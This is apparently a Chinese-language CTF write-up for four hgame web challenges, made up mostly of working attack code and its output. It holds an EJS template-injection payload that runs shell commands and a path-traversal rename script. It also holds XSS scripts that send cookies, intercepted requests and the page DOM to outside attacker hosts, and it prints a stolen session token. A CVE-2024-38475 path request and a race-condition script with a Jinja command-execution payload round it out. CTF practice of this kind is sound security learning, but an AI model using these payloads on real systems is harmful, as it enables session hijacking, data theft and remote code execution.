Level 24 Pacman

直接看index.js中有一段

here is your gift:aGFldTRlcGNhXzR0cmdte19yX2Ftbm1zZX0=

base64解码得:

haeu4epca_4trgm{_r_amnmse}

观察应该是栅栏密码
比较短,直接人肉还原一下:

haeu4epca_4tr
gm{_r_amnmse}

然后竖着读

hgame{u_4re_pacman_m4ster}

Level 69 MysteryMessageBoard

看题干以及代码,发现直接加载mortis.ejs运行,那么尝试进行覆盖
先构造:

<%- global.process.mainModule.require('child_process').execSync('env') %>

上传后使用rename接口进行覆盖,
尝试了几次后这个路径覆盖成功:

import requests

url = "http://119.45.235.21:30377/rename" # 替换为你的服务器地址
data = {
"oldName": "mortis.ejs", # 旧文件名
"newName": "../views/mortis.ejs" # 新文件名
}

response = requests.post(url, json=data)
Error: 500 {"error":"重命名失败: ENOENT: no such file or directory, rename '/app/uploads/mortis.ejs' -> '/app/static/mortis.ejs'"}
Error: 500 {"error":"重命名失败: ENOENT: no such file or directory, rename '/app/uploads/mortis.ejs' -> '/views/mortis.ejs'"}
Success: {'message': '文件重命名成功'}

覆盖后刷新网站首页查找hgame获得flag

hgame{Av3_muJ1c4_haS-Br0keN_UP-BUt_We-h@Ve-UMiTaKi66}

Level 69 MysteryMessageBoard

已知用户名:shallot
使用弱秘钥爆破得密码:888888

看题干猜测是xss
之前不知道怎么登录的时候发现有/admin接口,确定是xss
劫持cookie:

<script>
function on_on_load(){
fetch('http://120.76.159.54:3389', {
method: 'POST',
headers: {
'Content-Type': 'text/plain'
},
body: document.cookie
})
.then(response => response.text())
.then(data => console.log(data))
.catch(error => console.error('Error:', error));
}
window.onload = on_on_load;
</script>
<script>
// 基础数据收集
const attackerServer = 'http://fy0gjk0x.requestrepo.com';

// 1. 拦截原生 fetch 方法
const originalFetch = window.fetch;
window.fetch = function(url, options) {
// 捕获请求数据
const requestData = {
type: 'fetch',
url: url,
method: options?.method || 'GET',
headers: options?.headers ? {...options.headers} : {},
body: options?.body ? options.body.toString() : null,
timestamp: new Date().toISOString()
};

// 发送到攻击服务器
navigator.sendBeacon(attackerServer, JSON.stringify(requestData));

return originalFetch.apply(this, arguments);
};

// 2. 拦截 XMLHttpRequest
const originalXHROpen = XMLHttpRequest.prototype.open;
const originalXHRSend = XMLHttpRequest.prototype.send;

XMLHttpRequest.prototype.open = function(method, url) {
this._method = method;
this._url = url;
return originalXHROpen.apply(this, arguments);
};

XMLHttpRequest.prototype.send = function(body) {
const requestData = {
type: 'xhr',
url: this._url,
method: this._method,
headers: this._headers || {},
body: body ? body.toString() : null,
timestamp: new Date().toISOString()
};

navigator.sendBeacon(attackerServer, JSON.stringify(requestData));
return originalXHRSend.apply(this, arguments);
};

// 3. 捕获页面初始加载的Cookie
window.addEventListener('load', () => {
const data = {
cookies: document.cookie,
dom: document.documentElement.outerHTML,
referrer: document.referrer,
header:document
};
navigator.sendBeacon(attackerServer, JSON.stringify(data));
});
</script>

劫持获得session:

MTczODU5MzU2N3xEWDhFQVFMX2dBQUJFQUVRQUFBbl80QUFBUVp6ZEhKcGJtY01DZ0FJZFhObGNtNWhiV1VHYzNSeWFXNW5EQWNBQldGa2JXbHV84eE9t0yI4-g4qaBupwIa27OI7uqu5Dje4mCGvbFzb2w=

带着cookie扫目录发现/flag
使用admin的cookie访问获得flag

hgame{W0w_y0u_5r4_9o0d_4t_xss}

Level 38475 角落

经过搜索发现是cve2024-38475
伪造请求进行开黑盒

GET /admin/usr/local/apache2/app/app.py%3F HTTP/1.1
Host: node1.hgame.vidar.club:32567
Upgrade-Insecure-Requests: 1
User-Agent: L1nk/
Accept: */*
Connection: close
from flask import Flask, request, render_template, render_template_string, redirect
import os


app = Flask(__name__)
pwd = os.path.dirname(__file__)
show_msg = '''Latest message: {{message}}'''


def readmsg():
filename = pwd + "/tmp/message.txt"
if os.path.exists(filename):
f = open(filename, 'r')
message = f.read()
f.close()
return message
else:
return 'No message now.'


@app.route('/index', methods=['GET'])
def index():
status = request.args.get('status')
if status is None:
status = ''
return render_template("index.html", status=status)


@app.route('/send', methods=['POST'])
def write_message():
filename = pwd + "/tmp/message.txt"
message = request.form['message']

f = open(filename, 'w')
f.write(message)
f.close()

return redirect('index?status=Send successfully!!')

@app.route('/read', methods=['GET'])
def read_message():
if "{" not in readmsg():
show = show_msg.replace("{{message}}", readmsg())
return render_template_string(show)
return 'waf!!'


if __name__ == '__main__':
app.run(host = '0.0.0.0', port = 5000)

重点关注read接口
一个括号都不给,乍一看没法ssti
但是我发现这个接口有问题,readmsg()进行了两次
一次判断一次实装
那么就可以以先通过判断再执行的方式绕过这个waf
第一次的消息大一点,读取进来之后有延时的效果
构造一个多线程的脚本:

import requests
import threading

def send_message(message):
url = 'http://node1.hgame.vidar.club:32567/app/send'
data = {'message': message}
response = requests.post(url, data=data)
print(f"发送消息 '{message}'")


def read_file():
url = 'http://node1.hgame.vidar.club:32567/app/read'
response = requests.get(url)
print(f"读取文件响应:{response.text}")


if __name__ == '__main__':
send_message("a"*4000)

thread_read = threading.Thread(target=read_file)
thread_send = threading.Thread(target=send_message, args=("{{().__class__.__base__.__subclasses__()[140].__init__.__globals__.__builtins__.__import__('os').popen('cat /flag').read()}}",))


thread_send.start()
thread_read.start()

thread_send.join()
thread_read.join()

成功拿到flag

hgame{You-f1Nd-thE-Key_TO-RRRACE-OUUuut295edce}